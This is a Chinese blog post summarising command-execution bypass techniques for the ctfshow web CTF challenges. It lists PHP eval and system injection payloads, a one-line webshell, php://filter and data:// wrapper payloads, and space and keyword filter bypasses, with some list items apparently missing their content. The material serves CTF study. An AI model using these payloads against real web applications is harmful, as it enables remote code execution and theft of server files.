首页 > 其他分享 >ctfshow 命令执行总结

ctfshow 命令执行总结

时间:2022-10-02 22:48:49浏览次数:55  
标签:总结 PHP 函数 利用 cat 命令 flag ctfshow php

做完 ctfshow web 29 ~ 77、118~124的总结,写的比较简略。

  • PHP 中简单的 eval 函数执行字符限制绕过
  1. 使用通配符 * and ?
?c=system('tac f*');
  1. 使用 ` 执行命令
?c=`cp fla?.??? 1.txt`;
  1. 构造一句话木马,利用其它变量传入php执行语句
?c=eval($_GET[1]);&1=system("cat flag.php");
  1. 利用伪协议
filter: 
#直接读文件 ?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
data: #命令执行 ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKT8+
  1. 特殊的利用函数特性
?c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))));
  1. 异或构造RCE
0 利用 PHP7 特性构造异或命令RCE  
  • PHP 中简单的 system 函数执行字符限制绕过
  1. 空格被过滤
%09(tab) < > ${IFS} {cat,flag.php}
  1. 关键词被过滤
#使用通配符 cat f* 
#使用单引号 cat f''lag 
#推荐第二种,有时候空格被替换成其它如 > 会不支持通配符
  1. tac cat rev nl 读文件命令等被过滤
#使用通配符 /bin/ca? flag.php 
/???/????64 flag.php #/bin/base64 
#有权限的时候复制 flag 作为 txt 文件到网站路径下 cp${IFS}../../../fla''g${IFS}/var/www/html/a.txt%0A
  1. 利用 PHP 上传文件会临时保存的特性
0
  1. 利用 LINUX 操作系统的特性
${PATH:~A}${PWD:~A} ????.???

 

  • PHP 简单的中 eval 函数执行部分函数被禁用绕过
  1. 利用 文件包含 读 flag.php 或者输出 $flag
  2. 通过日志文件包含,file_put_contents get shell (没啥用,但可以用蚁剑啥的看看能不能突破限制)
  3. 利用 rename 函数或系统命令重命名(必要移动)flag.php
  4. 利用 php curl 发送 flag
  5. 利用 php 数据库操作函数读 flag
  6. glob://伪协议 来实现 open-basedir 绕过,并用 uaf 脚本读 flag
  7. 利用 PHP7特性 FFI 执行系统命令

标签:总结,PHP,函数,利用,cat,命令,flag,ctfshow,php
From: https://www.cnblogs.com/xshhc/p/16749647.html

相关文章

  • 2022-2023-1 20221312 《计算机基础与程序设计》第五周学习总结
    作业信息班级链接:首页-2022-2023-1-计算机基础与程序设计-北京电子科技学院-班级博客-博客园(cnblogs.com)作业要求:2022-2023-1《计算机基础与程序设计》教学......
  • 题目集1~3的总结性Blog
    1.前言第一次作业难度相对较低,主要注重字符串的处理。第二次作业注重字符串的转换与匹配。第三次作业需要掌握正则表达式和代码复用,难度最高。2.设计与分析7-2串口字符......
  • PTA前三次总结
    前言:此前对Java的了解很少,所以很多都是用C的方式来写。题目集二作业题量相对合理,也不难,量也比较少,较为容易完成。其中第二题较为难一点。但是题目集三,真的要命,第一题还好,......
  • 王道_顺序表课后代码习题总结
    顺序表1.删除主要在于删除后,后面元素怎样前移。1.删除一个值boolListDelete(SqList&L,ElemType&e){if(i<1||i>L.length)returnfalse;......
  • 2022-2023-1 计算机基础与程序设计 第5周学习总结
    2022-2023-120221424《计算机基础与程序设计》第5周学习总结作业信息这个作业属于哪个课程<班级的链接>(如2022-2023-1-计算机基础与程序设计)这个作业要求在哪......
  • db2 常用命令
    1、启动/停止/显示实例1、数据库实例的启动首先要启动数据库的实例,即切换到db2inst1用户(注:db2inst1用户为当前数据库的实例),然后执行db2start启动数据库的实例su-db2i......
  • Linux Docker 操作命令汇总
    1.docker随linux系统自动启动设置:systemctlenabledocker.service2、docker容器自动启动设置在运行docker容器时可以加如下参数来保证每次docker服务重启后容器也自动重启:d......
  • 2022-2023-1 20221408《计算机基础与程序设计》第五周学习总结
    这个作业属于哪个课程:https://edu.cnblogs.com/campus/besti/2022-2023-1-CFAP这个作业的要求在哪里:https://www.cnblogs.com/rocedu/p/9577842.html#WEEK05这个作业的目......
  • Linux小技巧丨个性化显示命令提示符,PS1变量相关知识
    内容摘要:今天偶然出现服务器SSH连接后不显示用户名主机名和目录信息的情况,查询得PS1变量设置有误,根据一篇博客的内容,解决了这个问题,顺便分享一下个性化设置的学习笔记。......
  • MongoDB12-MongoDB相关命令
    1、mongod命令mongod命令的帮助说明]#mongod--helpOptions:--networkMessageCompressorsarg(=snappy,zstd,zlib)......